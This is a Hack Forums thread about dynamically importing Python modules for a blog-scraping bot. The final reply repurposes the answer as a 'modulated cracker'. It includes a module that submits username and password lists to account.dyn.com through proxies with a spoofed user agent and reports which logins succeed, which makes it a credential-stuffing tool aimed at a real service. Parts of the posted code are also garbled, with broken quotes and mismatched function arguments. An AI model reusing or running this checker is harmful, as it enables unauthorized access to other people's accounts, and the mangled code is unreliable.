

Forum:[Hack Forums](#)

Thread: [Need help dynamically importing modules](#)

4ground_daemon - November 19, 2019, 2:32 pm

So I'm not sure how to exactly explain it but i'm wanting to build a bot that is going to scrape a load of blog websites to get check if they have made a new blog post since the last check I did. Now because the amount of sites I want to scrape is going to be a lot (looking at 50-100) I want a way to have each blog in its own module (as it will need its own functions to scrape the site) and all of these modules will be in a separate directory. So what I want in the end is for the bot to just import all the modules in that directory rather than having to hard code each on in which I know how to do)

my problem is how do I run the functions in each one of these imports because i'm not hard coding a name in? I basically want to go through each of the modules in that folder and then just run the functions in it.

To write it in pseudocode I would basically say:

- > import all modules in the /blogs directory
- > for each module in that directory run module_name.check()
- > check if latest blog post is new
- > if so return the url

But how do I reference module_name if i'm just importing all modules in that directory?

Also just to note. All the modules will have the same function names so there will be no problems with that.

Also just to clarify, another reason why I want it like this is to future proof it. It will allow me to just keep adding sites to the bot without having to touch the original file.

datguy.dev - November 19, 2019, 5:55 pm

I don't know the answer to your exact question. But what about a single library of classes instead? Wherein each "class" is essentially a library as you know it. You just have to know how to format them. Each class could have a self.name variable for their id and .check() method.

Charger - November 19, 2019, 6:03 pm

<https://stackoverflow.com/a/301146>

That's exactly how

datguy.dev - November 19, 2019, 6:58 pm

(Nov 19, 2019 07:03 PM)Charger Wrote: [\[CITE\]](#) <https://stackoverflow.com/a/301146>

That's exactly how

I'd agree. But (moduleNames = ['sys', 'os', 're', 'unittest']) would fall under hardcoding.

Charger - November 19, 2019, 7:01 pm

(Nov 19, 2019 07:58 PM)datguy.dev Wrote: [\[CITE\]](#) I'd agree. But (moduleNames = ['sys', 'os', 're',

'unittest']) would fall under hardcoding.

^-^

os.dir

For x in files:

Modulenames.append(x.name)

[Nachfolger](#)

Wiked™ - November 19, 2019, 9:19 pm

I used a different approach

'importdir.py'

Code #-----

<http://gitlab.com/aurelien-lourot/importdir>

#-----

#

#-----

Usage Ex.

#

#import importdir

#importdir.do("Modules/", globals())

#-----

import os

import re

import sys

substring1 = '['

substring2 = '']

#-----

Interface

#-----

def do(path, env):

""" Imports all modules residing directly in directory "path" into the provided environment
 (usually the callers environment). A typical call:

importdir.do("example_dir", globals())

"""

__do(path, env)

#-----

Implementation

#-----

File name of a module:

__module_file_regexp = "(.+)\.py(c?)\$"

def __get_module_names_in_dir(path):

""" Returns a set of all module names residing directly in directory "path".

```

"""
result = set()

# Looks for all python files in the directory (not recursively) and add their name to result:
for entry in os.listdir(path):
    if os.path.isfile(os.path.join(path, entry)):
        regexp_result = re.search(__module_file_regexp, entry)
        if regexp_result: # is a module file name
            result.add(regexp_result.groups()[0])

return result

def __do(path, env):
    """ Implements do().
    """
    sys.path.append(path) # adds provided directory to list we can import from
    for module_name in sorted(__get_module_names_in_dir(path)): # for each found module...
        env[module_name] = __import__(module_name)          # ... import

```

then in my code (used as a modulated cracker)

'main.py'

Code import importdir

importdir.do("modules/", globals())

function = getattr(eval(args.sessionTarget), args.sessionTarget + '_request')

for i in usernames:

function(i, userName, passWord)

a module/addon would be a simple requests that i would then repeatedly call over depending on the modules name

'modules/dyn.py'

Code #!/usr/bin/python

-*- coding: utf-8 -*-

--> TechanIO <--

import mechanize

from urllib2 import HTTPError

def dyn_request(i, username, password, proxie):

i = mechanize.Browser()

if(proxie is not None):

i.set_proxies({"https": proxie, "http": proxie})

i.set_handle_robots(False)

cookie = mechanize.CookieJar()

i.set_cookiejar(cookie)

i.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7

(KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7']]

```
try: r = i.open('https://account.dyn.com/', data=None, timeout=10)
except:
return(['[ERROR_CODE]', '503-err0r_open_c0de-403'])
```

```
assert i.viewing_html()
```

```
try: select = i.select_form(nr=1)
except:
return(['[ERROR_CODE]', '503-err0r_form_c0de-403'])
i.form['username'] = username
i.form['password'] = password
```

```
try: req = i.submit()
except:
return(['[ERROR_CODE]', '503-err0r_submit_c0de-403'])
```

```
session = req.read()
```

```
#print(session)
```

```
i.close()
```

```
if('login' in session):
return(['[FAILED_LOGIN]', ""])
elif('Log Out' in session):
return(['[SUCCESSFUL_LOGIN]', ""])
else:
return(['[UNKNOWN_DATA]', session])
```